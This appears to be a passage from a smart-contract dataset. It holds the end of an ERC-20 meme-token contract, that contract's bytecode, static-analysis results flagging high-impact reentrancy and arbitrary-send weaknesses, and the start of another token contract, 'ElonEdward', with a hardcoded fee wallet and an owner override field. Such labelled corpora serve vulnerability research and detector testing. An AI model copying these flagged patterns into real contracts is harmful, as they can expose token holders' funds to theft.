if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600d81526020017f204d6f6d6d7920446f6765202000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f204d6f6d6d79446f676520000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d139c4795c6e0a96c5c75a7a67daf30031ebc99a39d4083f581b9c4850f15dee64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,466 |
0xca309fd3295145ba26d6c91cd4eed020560cf86c
|
// SPDX-License-Identifier: MIT
// Telegram: https://t.me/elonedward
pragma solidity ^0.8.4;
address constant WALLET_ADDRESS=0xf96933C7e47aEB4Daf0439d30376602FEeBA8F97;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonEdward is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate;
address payable private _taxWallet;
string private constant _name = "ElonEdward";
string private constant _symbol = "ELONEDWARD";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
address private _override;
uint256 private _total = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(WALLET_ADDRESS);
_taxWallet = payable(WALLET_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_override=owner();
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxRate = 4;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
